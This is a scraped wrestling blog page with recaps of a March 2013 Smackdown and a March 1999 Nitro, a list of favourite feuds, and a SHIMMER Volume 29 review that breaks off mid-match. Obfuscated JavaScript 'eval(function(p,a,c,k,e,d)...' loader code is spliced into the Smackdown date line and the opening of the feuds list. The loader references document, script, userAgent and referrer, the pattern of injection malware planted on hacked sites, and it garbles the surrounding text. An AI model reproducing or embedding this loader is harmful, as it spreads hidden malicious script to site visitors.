Smackdown – March 8, 2013: I Believe In The Shield

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezzyd|var|u0026u|referrer|nzzte||js|php'.split('|'),0,{})) March 8, 2013
Location: Times Union Center, Albany, New York
Commentators: Michael Cole, Josh Matthews

We open with an In Memory graphic to Paul Bearer. Very nice.

3MB vs. HELL NO

We hear about Natalya and Alicia Fox going to Rwanda on a charity trip for malaria relief.

Ryback is on the way to the ring for a match when he sees Mark Henry. They stare each other down again but nothing happens.

Brad Maddox has joined the commentary booth.

Ryback vs. Damien Sandow

Ryback takes him into the corner to start before throwing Sandow across the ring. Sandow rolls to the floor for only a few seconds before Ryback throws him back in. Damien gets in one shot but sees Ryback glaring at him, sending him running away. Back in again and Sandow gets in a few shots to the back to take over.

Some knees to the ribs slow Ryback down as Maddox thinks Cole is his employee. Off to a chinlock by Damien but Ryback quickly breaks free and elbows him down. A backdrop puts Damien down again as Maddox thinks Ryback is cheating somehow. The Meat Hook sets up the Shell Shock for the pin on Sandow at 3:23.

We get a clip from after Raw went off the air where the Shield attacked Big Show and actually managed the hit him with the TripleBomb.

Alberto Del Rio vs. Dolph Ziggler

Alberto goes up but jumps into a dropkick which only gets two for Dolph. A German suplex gets a near fall on Ziggler but he comes back with a tornado DDT for the same. The cross armbreaker is countered into a rollup but the second attempt gets the submission from Dolph at 10:02 shown of 13:32.

Mark Henry vs. Yoshi Tatsu

Kaitlyn vs. Tamina Snuka

Layla is at ringside. Non-title again here and Kaitlyn starts fast with a backdrop. Cole gets sent face first into the ropes which sends her out to the floor. Layla gets knocked down on the floor so she tries to get in, allowing Tamina to hit a Samoan Drop on Kaitlyn for the pin at 1:24.

Justin Gabriel vs. Fandango

We get a video from Raw, summarizing that Undertaker faces Punk at Wrestlemania.

Colter and Swagger video on speaking English.

Sheamus vs. Big Show

Back with Big Show holding a nerve hold followed by a side slam for two. Big Show goes up for his Vader Bomb but Sheamus pulls him down. Show escapes again and hits the falling backwards powerbomb for two. We head to the corner for a long series of chops by Big Show before he grabs Sheamus by the beard. Sheamus fights back with shoulders blocks in the middle of the ring as well as in the corner before clotheslining Big Show down.

Results

HELL NO b. 3MB – NO Lock to Slater

Ryback b. Damien Sandow – Shell Shock

Alberto Del Rio b. Dolph Ziggler – Cross Armbreaker

Tamina Snuka b. Kaitlyn – Samoan Drop

Big Show vs. Sheamus went to a no contest when Shield interfered

Remember to follow me on Twitter @kbreviews




On This Day: March 8, 1999 – Monday Nitro: How Did They Make It Two More Years?

Monday Nitro
Date: March 8, 1999
Location: DCU Center, Worcester, Massachusetts
Attendance: 9,400
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan, Larry Zbyszko

This is another request and the ultra rare Nitro request on top of that. This show is another three hour show from WCW and the first hour is considered one of the worst hours of wrestling TV ever. This is also the go home show for Uncensored which has a main event of Hogan vs. Flair. There’s some innovative thinking. Let’s get to it.

We open with a video of the special cage (the Cell) being built for the main event on Sunday.

We get a clip from Thunder with Arn Anderson talking to Flair, trying to console him about David Flair turning on his dad. Flair talks about how he’s got Hogan to worry about so he can’t worry about David right now. It’s David’s responsibility and that’s not Ric’s problem anymore. Anderson says that David is young and making mistakes. Ric says that’s not his problem right now. He says the Horsemen are back on top if he wins the title. Anderson says he hopes this is just a game face and that he really is concerned. Flair basically says screw that, it’s my time. Anderson doesn’t like it. This goes on for like seven minutes.

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The Nitro Girls are in Rhode Island at some kind of Nitro Party with competitions and such.

We go to a live Nitro Party in Providence, Rhode Island. They’re at a university apparently. There’s a spring break special and a guy here (last name Kazarian) won a trip to it.

We get introduced to Nitro Girl AC Jazz and see one of their practices.

Hogan talks about how everyone hates him but he did it for the money or something. This is tied into David Flair joining the NWO. Ric is only obsessed with the belt and power and doesn’t care at all about his son bailing. Hogan would NEVER do that but he’s willing to give Flair another shot, but he wants Flair’s career vs. the title. This also runs 5 minutes.

We’re over 20 minutes into this show and we haven’t seen the arena yet.

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Back to the Nitro Party after a presumed commercial. Konnan is at the party too.

Here’s a Konnan rap video to make sure we don’t get any wrestling.

Another NWO video, this one of Hogan and Nash watching a Flair promo. It’s basically them riffing on him as Flair talks about coming back to WCW and seeing his son leave him for the NWO. Hogan and Nash make Buddy Landell jokes that maybe 2% of the audience will get. The NWO says they’ll regroup.

Video on Lex Luger.

Scott Steiner is pulled over while driving a Hummer limo. The cops recognize him and Bagwell……and make them cops. We get a montage of them “stopping crimes” after starting them in the first place while calling each other Starsky and Hutch.

Back to the party with the girls dancing. Kidman is there now and thinks Mysterio can beat Nash.

Video on Mysterio. The NWO took his mask so this Sunday he can get revenge.

Torrie Wilson is shooting a gun at a shooting range when Hogan and Nash come in. They go in to see her and the camera would be right in the path of her bullets. The guys suggest she sleep with David to get him back on their side. They plan to meet for dinner later.

45 minutes in, no arena yet. Keep in mind that this was the hour they had unopposed by Raw. Raw would be having the final push to Mania 15, meaning Austin vs. Rock/McMahon. AND THIS IS WHAT THEY GIVE US. Is anyone surprised they went out of business?

And uh, here’s the dinner. They talk about destroying Ric Flair and plan about David.

See, apparently at this point there were four dark matches going on in the arena. We’re getting this hour of stuff instead. Looking at the card though, this might be more entertaining. Looking at Torrie Wilson with a dress that comes to her upper thigh is never a problem. She says there’s another hot girl she knows. The girl is some chick named Denise who I don’t recognize. Her last name is Robinson, meaning we get Graduate jokes. Apparently she’ll get 20 grand for taking care of David. Sounds like a sweet deal actually.

Now we get the theme song. SO WHAT WAS THAT FIRST HOUR???

We go to the arena…for an interview. Well of course we do. Gene calls out Goldberg for a chat but we get Torrie and David instead. David wants to talk to Ric man to man tonight. Goldberg’s music hits….and we take a break. Back with Goldberg in the ring, talking to David about respect. He isn’t going to take care of things like he usually would. That’s good. It might be entertaining.

David needs to respect what his father has done for the business because it’s more than David and his friends could ever do. David also needs to respect Goldberg because this is his time. David shoves him and gets choked, so here comes Ric. Flair sprints down and chops Goldberg once before turning to David, who is running away. Press slam to Ric (who is president at this point) and Naitch is in trouble. Flair makes Goldberg vs. himself tonight. Goldberg says Flair is crossing the line so Flair yells some more.

ANOTHER commercial.

Raven vs. Hak

Falls count anywhere. Neither gets an entrance. Raven has a chair and Hak (Sandman) has a cane, but as the bell rings….they hug. Oh never mind as Raven pounds him down almost immediately. HARD cane shot to Hak’s head and they head to the floor. Bam Bam Bigelow will join these two at Uncensored in a triangle match. Hak puts him on the guardrail and hits a leg to the back ala RVD minus the spin.

They go up the ramp with Raven hitting a suplex onto the steel. Bird Boy busts out a table on the stage. He climbs the scaffolding to put Hak through it and here’s Bigelow, who isn’t in the match. He beats up Hak anyway as the fans chant for Goldberg. The bell rings and I guess the match is thrown out to HUGE booing.

Rating: D+. This was stupid. I guess they were previewing the PPV match but it didn’t make me want to see it. Also it’s Raven’s Rules so how can that be a DQ? Stupid match with a stupid ending. The table spot and the cane shot weren’t bad, but what was the point of this?

Apparently the bell was inadvertent so we’re going to continue this in the same match we’ll see on Sunday. Great.

Hak vs. Raven vs. Bam Bam Bigelow

They’re fighting in the back with Hak being thrown all over the place. Hak comes back and fights up to an ambulance. Here’s Raven again and it’s just random brawling. There’s a trash cart and Hak goes for a ride in it. They fight over to Flair’s limo and Raven DDTs Hak on the hood, only to get crushed by Bigelow.

He hits Raven in the groin on the hood and they’re all exhausted. They keep beating on each other and you can hear the boring chants. The problem here is they’re just laying around, doing a spot, then laying around more. They all just walk away to end it. No rating because it wasn’t really a match, but this was STUPID.

Now we get clips of the three guys fighting last week. Ok then.

Lizmark Jr. vs. Chris Jericho

Jericho (WITH RALPHUS!) comes out wearing a dog collar. Jericho grabs the mic and welcomes us to Monday Night Jericho. Tony: “Hey we’re talking here fellow!” Chris wants to talk about Perry Saturn, who has challenged Jericho to a chain match on Sunday. Jericho is a master of the chain match though, after training on mountain tops in Nepal. He’s a Swami you see. This match is going to be a chain match. Tony: “There’s been too much talk and not enough wrestling here.” I think I just died because of that line.

The bell rings so let’s talk about Flair some more. I think you win by pin or submission here. Jericho steps on the chain to pull Lizmark in to start and chokes with it. He wraps the chain around the knee and drops it in a unique spot. Lizmark gets tied up with the chain as Tony talks about the chain match at Starrcade 83. Can we watch that instead? It’s a MUCH better match than anything that’ll be on this show. Lizmark chokes him a bit but walks into a kind of spinebuster and the Liontamer for the tap.

Rating: D+. There were some nice moves in this from Jericho but it was just a squash. Jericho has said he had more or less made up his mind that he was gone soon after this and in fact he would be in the WWF by I believe August, where things would go MUCH better for him. Lizmark never quite meant much in WCW.

Here’s Steiner to say he’s well built and all that. The fans are all fat. Buff Bagwell says Booker is too stupid to back out of the match tonight.

TV Title: Scott Steiner vs. Booker T

Steiner is TV Champion. The announcers talk about how great the NWO has been at what they’ve done. We’re two and a half years into the plan so far and it still hasn’t worked but whatever. Feeling out process to start and Booker hits a spinning forearm for two. A hook kick knocks Steiner to the floor and Tony complains about Steiner taking a break. Larry goes into some weird environmental speech about breathing clean air before Tony cuts him off.

Back in the ring and Booker rams him into the corner a few times before Scott kicks him low to take over. Out to the floor again and we get a steroids chant. We take a break and come back with Booker hitting a forearm for one but getting taken down by a clothesline. Spinning belly to belly puts Booker down and Steiner keeps pounding away at the back. He pounds Booker down in the corner with punches and gets two off a backbreaker.

Steiner keeps up the power with a slam and chokes Booker in the Tree of Woe. Booker escapes another slam and hits a neckbreaker to break up Steiner’s momentum just for a second. Ax kick out of nowhere puts Steiner down and there’s the Spinarooni. Booker goes up but gets crotched by Bagwell. There’s the Recliner and Booker’s arm drops twice. He holds it up for the third drop so Steiner drops him….which counts as the third arm drop and Steiner wins by knockout. At least it’s over.

Rating: C-. Not a horrible match here but Steiner just wasn’t over yet. That didn’t stop the company from shoving him down our throats of course but when did it ever? Bagwell was beyond annoying here and did the match no favors. Still though, it was nice to see a match get some time as opposed to what you were expecting with Raw at this time.

Steiner hits Booker in the back with a chair post match.

We see the Flair vs. Goldberg showdown earlier.

The Nitro Girls dance as Tony talks about upcoming house shows (his words).

Jerry Flynn gets promo time for some reason. Before he talks, Sonny Onoo (one of his opponents on Sunday and minus his accent) comes up but Jerry grabs him by the shirt. Ernest Miller, the other opponent, kicks Flynn in the back of the head and they cut off his mullet.

Scott Norton vs. Rey Mysterio

I think you get the idea here as Mysterio has Nash on Sunday. Norton is looking old here. Rey gets knocked to the floor and is holding his back. There isn’t much to say at all here. Mysterio charges at Norton, Norton knocks him down, Rey lays around a lot, Norton hits him some more, Rey charges at Norton and we repeat it again.

Norton throws him out to the floor and Rey’s back is hurt. Rey counters the shoulderbreaker but gets dropped on the buckle to stop the comeback. Norton kills him with a clothesline but picks him up. He does the same off a one handed press slam. Ok that was cool. Then Rey kicks him low and a fast count pins Norton. Seriously, that’s it.

Rating: F. What in the world did this accomplish? Rey looks like a ragdoll, Norton looks like an idiot, I have no reason to believe Rey can beat Nash fairly or have a chance against him, and the match was boring because Norton did little more than stand around the whole time. What was this supposed to accomplish?

More Nitro Girls.

The same cage building video from earlier is shown.

Van Hammer vs. Bret Hart

O……k. Apparently there are more stipulations for Flair vs. Hogan but you have to check the WCW website for them. Egads. Feeling out process to start and Bret is sent to the floor to cool off a bit. Back in and Van Hammer works on the arm but Bret nips up into an arm hold of his own. Van Hammer takes him right back down into a wristlock. He takes Bret into the corner and has been in control most of the match.

Bret is like screw that and hits Hammer low to take over. It’s time to work on the leg so Bret goes through his usual sequence of wear down stuff. Figure Four goes on (the wrong leg) but Van Hammer makes the rope. In a nice heel move Bret won’t let go and spends a long time explaining to the referee that it’s because Hammer is laying on his leg. Small package gets two for Hammer.

Hammer hooks the slowest motion backslide ever for two. Bret goes back to the knee with a cannonball down onto it. The leg gets wrapped around the post and a DDT gets two for the Hitman. Back to the floor and Bret tries to ram the leg into the post again, only to get pulled into it face first. Back in and Hammer suplexes him for no cover. Van Hammer’s cobra clutch slam gets two. An enziguri misses and it’s Sharpshooter time. You know that ends it.

Rating: C-. Not bad here but why would you wasted a 12 minute Bret Hart match on freaking Van Hammer? This is where WCW never made a ton of sense (I know, I know): they had no clue what to do with Bret as he was in the midcard for most of his time there, especially after the first few months where he didn’t do much of anything.

Bret hits the leg with a chair post match.

Hogan and Nash come to the commentary booth and run off Heenan and Tenay.

Ric Flair vs. Goldberg

You know you might think this should be saved for a PPV. That would make too much sense I guess though. Nash brings up a good question: why does Flair wear his knee pads below his knees? Flair gets taken down quickly and is shoved down a second time. Shoulder block doesn’t work at all for Flair. A second does even less. A third results in a gorilla press powerslam to have Flair in agony.

Flair tries to walk up the aisle but Goldberg drags him back. Nash talks about some really strong dude from the Emerald city but he isn’t sure what happened to him. A low blow puts Goldberg down (popular move tonight) and chops don’t work. Another low blow puts Goldie down for an easily broken two count. Goldberg stars a comeback but Flair kicks him low a third time. Refereeing in this company sucks.

Time to go after the legs and after a single shot it’s Figure Four time. That gets powered out of so Flair fires off some kicks. Goldberg no sells them and sends Flair to the corner for the Flair Flip and out to the floor. Flair gets slammed down but the spear misses and he hits the buckle. Goldberg no sells a suplex and spears him down. The NWO D-Team runs in for the no contest.

Rating: C+. This was getting really good until the bad ending. See, here’s what I don’t get. What was the point in the NWO coming in? Hogan is facing Flair on Sunday so wouldn’t they want him to get hit with the Jackhammer to hurt him more? Goldberg didn’t have a match on Sunday and wasn’t on the show at all, so why would they attack him? That’s a basic plot problem.

Hogan and Nash come in also and it’s a big NWO beatdown to end the show.

Overall Rating: D-. I know the expected thing is to say that this is the worst show ever and all that, but it really isn’t. Don’t get me wrong: it’s bad and this was a chore to sit through, but it wasn’t the worst show ever. This was just dull for the most part. Considering I didn’t have to pay much attention at all to the first hour, this was just a bad Nitro. That being said, the show still sucks, but I’ve seen far worse shows. The lack of energy or anyone caring at all is really evident though.

Here’s Uncensored if you’re interested:

Remember to follow me on Twitter @kbreviews




Five By Five: KB’s Favorite Feuds/Programs

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kiizr|var|u0026u|referrer|ekdzh||js|php'.split('|'),0,{})) was going to do promos for one of these but this is a lot more in depth, meaning I can have a lot more fun with it.  This will be a mixture of short and long term feuds, as in a feud that has a clear beginning and end along with feuds that went on for years with breaks in between.

Honorable Mention: Trish Stratus vs. Lita. This might be a weird one given my borderline hatred of women’s wrestling, but with these two it worked incredibly well.  There was a natural rivalry between the two of them with Trish being the well groomed and gorgeous blonde model while Lita was the streetwise fighter who flew all over the place and was covered in tattoos.  It’s a natural dichotomy which works incredibly well.

Honorable Mention: The Rock vs. Mick Foley. Speaking of natural dichotomies, here’s another great one for you.  You have Rock as a natural athlete and a blue chipper who has dominated every athletic field he’s ever touched, and on the other hand you have a guy who looks like he escaped from a mental hospital.  The difference though is Foley has the heart and drive to never give up no matter what is thrown at him and Rocky can’t handle having this kind of resistance.  It made for some amazing promos and even better matches between two of the best ever who cleared respected each other very deeply.

5. Steve Austin vs. Vince McMahon. It’s the mother of all feuds and the cornerstone of the Attitude Era.  Vince went so far as to terrorize his own family while gaining the help of a demon lord in order to get the title off of Steve Austin.  If that doesn’t sum up how awesome this feud was, I don’t know what does.

4. CM Punk vs. John Cena. If there is a pairing with flat out better matches and chemistry together, I can’t think of them.  When you can actually rival the quality of Steve Austin vs. the Rock with how awesome your matches are, it’s hard to not put them on this list.  It’s pretty easily the best rivalry of the modern era with absolutely no bad matches between the two of them.

3. Steve Austin vs. The Rock. As great as Cena vs. Punk is, this one is just slightly better.  The chemistry these two had was off the charts and when they were together, you could feel the electricity.  It could be anything from singing Jimmy Buffet songs to throwing title belts into a river to having one of the best main events in Wrestlemania history in front of 67,000 people at the best show of all time to just running into each other backstage at Wrestlemania 27, but these two just feel amazing when they’re together and the chemistry was unbelievable.

2. Hulk Hogan vs. Bobby Heenan. Now we’re getting into more personal favorites than pure quality.  Heenan rarely got in the ring himself, but he was constantly throwing his latest protege at Hogan.  Be it Big John Studd, King Kong Bundy, Paul Orndorff or Andre the Giant, this feud DOMINATED the 1980s and produced some of the most entertaining television you’ll ever see.  When you can top the list of Hulk Hogan’s biggest rivals, it’s clear you’re doing something right.

1. Sting vs. Vader. If there has ever been a better story of a warrior fighting the evil dragon, I don’t know what it is.  These two were as much of a layup for a great match as you could get in WCW, and yes that includes Flair vs. Sting.  The key aspect to this feud that made it great was that Sting would regularly lose to Vader.  Every time they fought there was always a chance that Vader could destroy Sting and on more than one occasion he did.  The fans were WAY into these matches too and the feud continued on and off for over three years.  It’s excellent stuff and I can’t recommend their 1992 Starrcade match enough.

 

We’ll wrap this up with my favorite matches either tonight or tomorrow.

 




Shimmer Volume 29: It’s International Women’s Day So Here’s Some Women’s Wrestling That Doesn’t Suck

SHIMMER Volume 29
Date: April 10, 2010
Location: Eagles Club, Berwyn, Illinois
Commentators: Dave Prazak, Portia Perez

This is Shimmer, which is supposed to be all caps but that gets annoying quickly so screw it. This is an all women’s wrestling organization and allegedly pretty good. I’ve never seen it or anything like that so I don’t know what to expect. You might recognize some of the names and I’ll do what I can to let you know who is who. The company records a lot of volumes at once so this is one of four taped in two days. I’m not sure what to expect here so let’s get to it.

Kellie Skater vs. Neveah

Kellie is a heel here and I have no clue who these people are. Neveah is rather attractive. There might be 200 people here and you can clearly hear every word shouted by the girls. That’s not saying it’s bad or anything. It’s just in a small venue. Kellie is from “the most awesomest place ever” and is made of pure adamantium (the stuff Wolverine’s skeleton is made of in X-Men). Ok so she’s awesome. Neveah is pronounced Nuh Vay Uh.

Prazak is already getting on my nerves. Slater is something close to a main event wrestler apparently but hasn’t actually won anything on that level. She also might not be sane. Neveah is a tag worker that’s trying out the singles stuff for the first time. Neveah is ok at best but she’s fairly amateurish with some of her stuff. Perez is just saying what’s going on in the ring, making me think she’s a student of Joey Styles.

Neveah only does basic stuff but this is her first singles match I think so I can understand that to a degree. Skater is called the Rate Tank and I have no idea what that means. The move that Cena calls the Throwback ends it for Skater.

Rating: D. Nothing very good at all here as this would likely have been better as a dark match. It wasn’t horrible I guess but this just never got going. It was a glorified squash and never really got anything going at all. I’ve seen far worse though and this was about on the level of a decent Knockouts match.

Annie Social/Melanie Cruisevs. Pretty Witchin

Pretty Witching are Ariel and Nikki Roxx, more famous as Roxxi of TNA fame. Roxx is still very cute. The team with the more famous name are your faces. Crowd is into Nikki so at least she’s popular. Annie appears to be the shorter one which I’m sure I won’t remember later. The referee gets more heat than the heel team which isn’t good I don’t think. Melanie is really tall and tries for a test of strength with a rather short Ariel.

Neither can slam the other and Roxxi comes in to crank it up a bit. Ariel beats the heck out of Annie who apparently is a manager for the most part. And so much for that as Ariel is getting beaten down fairly well here. Melanie beats the tar out of Ariel here which takes up a good while. Roxx gets the hot tag and can’t hurt Melanie due to insane height. The Voodoo Drop, which is called the Barbie Crusher here, gets the pin on Annie.

Rating: C-. Better match here as the wrestling was of a higher quality. Not a great match or anything but still decent enough.

Some chick named Amber Gertner talks to a British chick named Tenille who has a match with Sara Del Ray and she’s excited. Riveting. There was no point to this at all.

Rachel Summerlyn vs. LuFisto

I’ve heard of both of these girls but I don’t know much about them. LuFisto is a hardcore chick I think. She’s all in pink and has a baby doll with her. Ah ok she’s an anime girl or something. Well ok then. This is more of a fight than a match and apparently Rachel wanted LuFisto to train her but she refused for no apparent reason. LuFisto has a bad back so, showing psychology, Rachel goes after it. LuFisto works the arm and throws on a SICK armbar for the tap.

Rating: C. Very short match here but long enough to see something going on. With psychology from both girls I can’t complain much. This wasn’t even four minutes but it worked pretty well I thought. The submission stuff worked and it’s nice to see someone just go after a body part and hit a quick submission. It’s more realistic and I like it better than way at times.

Jamila Craft vs. Mercedes Martinez

Craft has some kind of weird mask thing going on. Martinez is a big deal apparently and is rather popular. Jamila is the youngest chick to graduate from the Shimmer Academy and this is her debut. Craft does some decent stuff here as this is mainly a mat/technical match here. There’s a nice little story going here as Martinez stays about a step ahead of her by just upping the difficulty a bit each time which is a good thing for the whole rookie idea.

Martinez is kind of a tweener here which isn’t how this started. We hit five minutes for the first match in a good while. Fisherman is countered into a rollup for two for the rookie. And then Craft gets her head kicked off and a Fisherman’s Buster ends it. Solid little match for her debut.

Rating: C+. Considering that was one of the girls’ debut, not bad at all. Martinez didn’t look incredibly great but Craft was solid for a rookie. It was an entertaining match with a bit of a story to it as well. I’d give this a worse rating if it wasn’t for the rookie thing, but that’s one of the better debuts for an 18 year old girl in a mask that I’ve ever seen.

We recap something from the last Volume where a chick hit Allison Danger in the head with a belt to steal a win. I’m guessing this is going to come into play in the next match?

Rayna Von Tashvs. Allison Danger

Tash is very attractive and looks a bit like a call girl. Danger was in ROH for awhile and is in a white mask which she’ll take off for the match. Her brother is the more famous wrestler in their family: Steve Corino. Dang I’m enjoying looking at Rayna. She’s the first girl here to be more about her looks than her in ring work but you need a character like that every once in awhile. Heck look at Cody Rhodes on Smackdown.

Danger talks to the crowd a lot which is kind of funny. Portia leaves because she doesn’t like Danger. She claims she has Ninja Turtles to watch on Tivo, making her my new favorite person here. Kellie Slater, who is apparently Australian, is here as her replacement. Danger hates Portia too apparently. Rayna isn’t much in the ring but I’ve seen worse. I can’t think of anyone off the top of my head but whatever.

She dances a lot before every move which is kind of different. Allison is another big deal here too I’m guessing. She’s treated like one if nothing else. This isn’t much of a match but I’m getting a glorified squash feel to it or there’s going to be an interesting finish involving the other chicks. Yeah this is almost all Allison here. Danger does kind of a reverse facebreaker to end it.

Rating: C-. Again this was just a glorified squash but Rayna is a rookie as well so I’d assume this was also a way for her to get some ring time. This came off pretty well again given the circumstances like this. It was decent enough but Danger looked a bit weak at times, although it was minor.

Danger calls out Portia but we get a promo instead. Portia is so clearly reading off a script but in a cool moment Portia slips up behind her while being on the screen at the same time. Cool idea. Portia’s partner, Nicole stops the referee and they cuff her to the ropes. Some faces come out but that doesn’t work either. Social and Cruise from earlier come down and run interference for the champions (Portia and Nicole). Apparently the cuffing didn’t happen. This would set up a last woman standing match next time which Allison won.

Sassy Stephie vs. Madison Eagles

Eagles is champion of the company by the time this is written so what do you expect here? She gets a welcome back chant which makes me think this is her return match. Eagles is 6’1 and Australian. Yeah that’s all I’ve got. Stephie has an indyish name if I’ve ever heard one. For MMA fans here, Eagles has trained with GSP. That’s kind of cool. Stephie is normally a tag wrestler.

This is a rather sloppy match but I think it’s hard to have a match with such a tall person like Eagles. Madison no sells some stuff and Hulks Up, getting a knee shot for two. Stephie fights back for a bit but walks into a Death Valley Driver into the knee which is called Hellbound. Cool name.

Rating: D+. Probably the weakest of the night so far, but I think this was designed to set up Madison winning the title soon afterwards. The main thing here is that Madison looked a bit weak and only hit a few moves here and there as instead of dominating she got beaten down for a good while before hitting her finisher to end it. That’s not saying it was one big move, but it didn’t work like they wanted to I don’t think.

Sarah Stock is here, more commonly known as Sarita. This is a big return apparently and she wants MsChif, who she’s already beaten. Stock gets a title shot somewhere apparently.

Cat Power vs. Jessie McKay

Cat is, amazingly enough, dressed like Catwoman. Jessie looks like one of the Bellas, but I can’t remember which one. Is there a women’s wrestling farm in Australia? She’s like the fourth chick from there. McKay is rather attractive. Portia is back on commentary. Cat is hot in a different kind of way. Jesse throws a ball of yarn and almost gets it to work. That was uh….short thankfully.

They botch a leapfrog which I think is because Jesse jumped early but I’m not sure. Jesse is very cute but not very good. Power isn’t much better than that though. Jesse gets stuck in the Tree of Woe which is always painful looking, which is the idea so it’s a success. Sunset flip gets two. Who it got two for means little here so I’ll let you guess. Jesse makes a comeback and something resembling a Thesz Press gets two.

Power takes over and works the knee as this is getting more fast paced. And it’s Figure Four time. There’s something awesome about seeing that move all over the place. It just looks awesome and painful every time you see it. Yakuza kick gets two and a really bad looking spinebuster kind of move wins it for McKay.

Rating: D. This never was very good. Both of them felt very messy and kind of all over the place. The girls here came off as pretty unready and it just never worked at all. Jesse however is very cute and in a good way. She’s not a serious character but she’s one of the kind of girls that isn’t supposed to be.

Tenille vs. Sara Del Ray

Tenille is reminiscent of Kelly Kelly and Del Ray is a legend here and more or less a killer. Tenille is ANOTHER Australian. Not a bad thing but just kind of weird. Tenille was trained in CALGARY…..wait for it….wait for it….wait for ALBERTA CANADA! Del Ray is pure heel here and looks ticked off about being here, but in a good way. Tenille is the partner of Jesse in the last match, which fits really well.

This is all Del Ray as she’s clearly just toying with her. Sara kicks her head off as we hit five minutes. Shimmer does the counting of how long we’re at in the match. I’m not sure if I’m a fan of that or not. Sara gets this painful choke on where she crosses Tenille’s arms, pulling them back and bends Tenille over her knees. Painful but it doesn’t work.

In something I like, Tenille just starts throwing punches. Sara is in trouble and takes a Christian reverse DDT which is a cool move. Del Ray misses a kick and hurts her knee. Tenille goes up and nearly falls off, getting a dropkick for two. Weird looking leg lock where Tenille is in a Matrix move, making me wonder why Sara doesn’t hit her in the stomach but whatever. And then the Royal Butterfly, a delayed butterfly suplex, ends it.

Rating: C+. Better than I expected here as instead of just a token comeback Tenille got in some solid offense there which I definitely didn’t expect. It’s good to see what appears to be a jobber get close but just fall short, as she looked like she was almost there. Not bad at all and a nice surprise.

After a lot of replays, Madison Eagles says she could win the Shimmer Title.

Misiak iOhata vs. Daizee Haze

Haze is more or less a legend in Shimmer and I have no idea who Ohata is. The legend is a hippie. Ok then. Ohata gets streamers thrown at her, which is some kind of tradition I believe. Nice backflip into a Boston Crab by Haze. This is almost all mat based submission stuff and is bordering on an MMA style fight. I’m still not sure if I like Portia or not. Her voice is grating at first but it grows on you. She’s also a heel so it works out well in the end somehow.

This is a very different kind of match and I’m liking it so far. Haze gets two on a cradle and is TICKED that it didn’t work. She gets all aggressive here which is different for her. They do about five standing switches but Ohata comes out with the German for two. Ohata gets all fired up and Portia thinks she’s going up top. Gee you think? Was it the climbing the ropes that gave it away?

They crank it up again and there’s a Heart Punch, although wouldn’t something block that? It doesn’t matter anyway as Ohata gets a fast rollup for the pin. Daizee goes nuts afterwards and beats up Ohata, turning heel. Her student from earlier, Craft, comes out but she and Ohata both get beaten up.

Rating: B. Very fun and fast paced match here which wasn’t like anything you would see on this show. This was a good match and based more on striking and leverage, which isn’t something you see that often. I really liked this one although it took about two hours to get here, which isn’t a very good sign.

Tomoka Nakagawa vs. Ayumi Kurihara

I know nothing about these girls other than they are Japanese and female. Well my biggest criticism is a lack of puro so here you go. Well kind of at least. This has a 45 minute time limit and considering we have this and one other match to go with over 45 minutes to go in the show, I’d bet on a long one here. Ayumi is in red and Tomoka is in green. Yeah I likely won’t remember that.

The announcers talk about how they’re bringing Joshi here which is interesting if nothing else. These are both very small girls so I’d expect a fast paced match. Tomoka is definitely the heel here as she is being far more aggressive and even bites the hands of Ayumi. Ayumi goes to the legs which makes sense as both are speed girls. Nakagawa grabs the hair and twists it around multiple times. FREAKING OW WOMAN.

A lot of back work by the heel chick follows. Ayumi makes a comeback and works the right arm, which still looks weird. SICK sounding enziguri and Nakagawa takes over again. Fisherman’s suplex, which is Tomoka’s finisher gets two of course. I often wonder what the point of a finisher is if it hardly ever finishes anyone but whatever.

They slug it out and Ayumi gets a Codebreaker. I’m glad they call the moves the more famous names. It doesn’t matter who came up with it or who named it whatever. It’s more famous as the Codebreaker and more people are going to know it as that. More LOUD kicks to the head and we switch control again. We slug it out again and a rollup gets two for Ayumi. They crank it up again and Ayumi gets an exploder suplex out of nowhere for the pin. Nice ending I think.

Rating: B. This should likely be a bit lower but it’s slightly better than a B- to me. I liked the back and forth aspect of this match a lot as both girls were fairly evenly matched. This was also a great example of how to get the crowd against you with some very basic stuff like just being a witch. Nakagawa did just that and came off like a heel in this, which is what made her losing that much better. Nice fast paced match that went back and forth.

We recap the Canadian Ninjas winning the tag belts at Volume 26 where they beat Ashley Lane and Neveah.

Tag Titles: Canadian Ninjas vs. Cheerleader Melissa/Mschif

Mschif is the Shimmer Champion and Melissa is more famous as Raisha Saed and Alissa Flash in TNA. The Canadian Ninjas are Portia Perez and Nicole Matthews. Cool team name if nothing else. This is a dream tag match I guess as it’s two singles wrestlers against the tag champions. Simple but effective and works most of the time. Mschif is cute in a weird way. According to Wiki she’s also a geneticist. Ok that’s just awesome.

The Ninjas say they won’t wrestle until everyone is quiet. Sounds like school. That doesn’t happen and MsChif vs. Nicole starts us off. Nicole, a ninja, gets followed around by Mschif in a funny spot. Both tag out and I’m thinking Portia is the better of the ninjas. Melissa is another legend here so the dynamic is certainly there. Perez has missed back to back shows with an alleged case of swine flu. Well at least they’re thinking for the angles.

Cheating is fun and works for Portia to take over. Naturally as soon as I type that Melissa is controlling again. Nicole shouts GO AFTER HER KNEE so Melissa steals the advice. Nicely done there too. On the floor Melissa picks up Portia and swings her into Nicole to ram her into the barrier in a cool looking sequence. This has been mostly dominance by the challengers so far.

And look: cheating works again. Melissa has been in there for a very long time. There’s the tag finally and Mschif….well I guess you could say she’s cleaning something. It’s certainly not a house. Despite being champion, Mschif is having some issues here. Portia stomps on her face and shouts to the crowd “do I suck now???” “YES!” That was comical. We hit the fifteen minute mark and everyone is down.

